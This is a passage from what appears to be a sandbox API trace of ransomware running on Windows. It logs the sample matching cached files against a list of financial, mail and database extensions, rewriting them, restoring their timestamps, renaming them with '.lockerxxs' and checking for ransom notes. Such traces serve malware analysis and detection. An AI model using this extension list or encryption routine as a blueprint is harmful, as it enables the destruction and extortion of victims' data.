(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.myox") returned 0 [0084.526] lstrlenA (lpString="*.myox") returned 6 [0084.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.myo") returned 0 [0084.526] lstrlenA (lpString="*.myo") returned 5 [0084.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.qbw") returned 0 [0084.526] lstrlenA (lpString="*.qbw") returned 5 [0084.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.qbb") returned 0 [0084.526] lstrlenA (lpString="*.qbb") returned 5 [0084.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.qbm") returned 0 [0084.526] lstrlenA (lpString="*.qbm") returned 5 [0084.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.qbo") returned 0 [0084.526] lstrlenA (lpString="*.qbo") returned 5 [0084.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.qbx") returned 0 [0084.526] lstrlenA (lpString="*.qbx") returned 5 [0084.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.qba") returned 0 [0084.526] lstrlenA (lpString="*.qba") returned 5 [0084.526] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.qby") returned 0 [0084.527] lstrlenA (lpString="*.qby") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.qbj") returned 0 [0084.527] lstrlenA (lpString="*.qbj") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.ofx") returned 0 [0084.527] lstrlenA (lpString="*.ofx") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.qif") returned 0 [0084.527] lstrlenA (lpString="*.qif") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.mye") returned 0 [0084.527] lstrlenA (lpString="*.mye") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.mbox") returned 0 [0084.527] lstrlenA (lpString="*.mbox") returned 6 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.eml") returned 0 [0084.527] lstrlenA (lpString="*.eml") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.pst") returned 0 [0084.527] lstrlenA (lpString="*.pst") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.ost") returned 0 [0084.527] lstrlenA (lpString="*.ost") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.idx") returned 0 [0084.527] lstrlenA (lpString="*.idx") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.dbx") returned 0 [0084.527] lstrlenA (lpString="*.dbx") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.sql") returned 0 [0084.527] lstrlenA (lpString="*.sql") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.mdb") returned 0 [0084.527] lstrlenA (lpString="*.mdb") returned 5 [0084.527] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.fdb") returned 0 [0084.527] lstrlenA (lpString="*.fdb") returned 5 [0084.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.wab") returned 0 [0084.528] lstrlenA (lpString="*.wab") returned 5 [0084.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.dat") returned 0 [0084.528] lstrlenA (lpString="*.dat") returned 5 [0084.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.txt") returned 0 [0084.528] lstrlenA (lpString="*.txt") returned 5 [0084.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.jpeg") returned 0 [0084.528] lstrlenA (lpString="*.jpeg") returned 6 [0084.528] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", pszSpec="*.jpg") returned 1 [0084.528] lstrlenA (lpString="*.jpg") returned 5 [0084.528] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" [0084.528] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" [0084.528] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg." [0084.528] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg.lockerxxs" [0084.528] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.529] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x918 [0084.529] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45725f30, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45725f30, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45725f30, dwHighDateTime=0x1d2faf3)) returned 1 [0084.529] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.529] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x8f2, lpOverlapped=0x0) returned 1 [0084.531] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg") returned="BBEgX5G[1].jpg" [0084.531] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.531] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8f2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8f2, lpOverlapped=0x0) returned 1 [0084.532] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.532] CloseHandle (hObject=0xa4) returned 1 [0084.532] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbegx5g[1].jpg.lockerxxs")) returned 1 [0084.534] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51256470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51256470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51256470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBih5H[1].png", cAlternateFileName="BBIH5H~1.PNG")) returned 1 [0084.534] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.534] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBih5H[1].png") returned 1 [0084.534] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBih5H[1].png") returned 1 [0084.534] lstrcmpiA (lpString1="", lpString2="BBih5H[1].png") returned -1 [0084.534] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEgX5G[1].jpg") returned="BBEgX5G[1].jpg" [0084.534] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.534] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.534] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.534] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.534] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBih5H[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" [0084.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.ems") returned 0 [0084.534] lstrlenA (lpString="*.ems") returned 5 [0084.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.db") returned 0 [0084.534] lstrlenA (lpString="*.db") returned 4 [0084.534] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.dbf") returned 0 [0084.535] lstrlenA (lpString="*.dbf") returned 5 [0084.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.myox") returned 0 [0084.535] lstrlenA (lpString="*.myox") returned 6 [0084.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.myo") returned 0 [0084.535] lstrlenA (lpString="*.myo") returned 5 [0084.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.qbw") returned 0 [0084.535] lstrlenA (lpString="*.qbw") returned 5 [0084.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.qbb") returned 0 [0084.535] lstrlenA (lpString="*.qbb") returned 5 [0084.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.qbm") returned 0 [0084.535] lstrlenA (lpString="*.qbm") returned 5 [0084.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.qbo") returned 0 [0084.535] lstrlenA (lpString="*.qbo") returned 5 [0084.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.qbx") returned 0 [0084.535] lstrlenA (lpString="*.qbx") returned 5 [0084.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.qba") returned 0 [0084.535] lstrlenA (lpString="*.qba") returned 5 [0084.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.qby") returned 0 [0084.535] lstrlenA (lpString="*.qby") returned 5 [0084.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.qbj") returned 0 [0084.535] lstrlenA (lpString="*.qbj") returned 5 [0084.535] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.ofx") returned 0 [0084.535] lstrlenA (lpString="*.ofx") returned 5 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.qif") returned 0 [0084.536] lstrlenA (lpString="*.qif") returned 5 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.mye") returned 0 [0084.536] lstrlenA (lpString="*.mye") returned 5 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.mbox") returned 0 [0084.536] lstrlenA (lpString="*.mbox") returned 6 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.eml") returned 0 [0084.536] lstrlenA (lpString="*.eml") returned 5 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.pst") returned 0 [0084.536] lstrlenA (lpString="*.pst") returned 5 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.ost") returned 0 [0084.536] lstrlenA (lpString="*.ost") returned 5 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.idx") returned 0 [0084.536] lstrlenA (lpString="*.idx") returned 5 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.dbx") returned 0 [0084.536] lstrlenA (lpString="*.dbx") returned 5 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.sql") returned 0 [0084.536] lstrlenA (lpString="*.sql") returned 5 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.mdb") returned 0 [0084.536] lstrlenA (lpString="*.mdb") returned 5 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.fdb") returned 0 [0084.536] lstrlenA (lpString="*.fdb") returned 5 [0084.536] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.wab") returned 0 [0084.537] lstrlenA (lpString="*.wab") returned 5 [0084.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.dat") returned 0 [0084.537] lstrlenA (lpString="*.dat") returned 5 [0084.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.txt") returned 0 [0084.537] lstrlenA (lpString="*.txt") returned 5 [0084.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.jpeg") returned 0 [0084.537] lstrlenA (lpString="*.jpeg") returned 6 [0084.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.jpg") returned 0 [0084.537] lstrlenA (lpString="*.jpg") returned 5 [0084.537] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png", pszSpec="*.png") returned 1 [0084.537] lstrlenA (lpString="*.png") returned 5 [0084.537] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" [0084.537] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 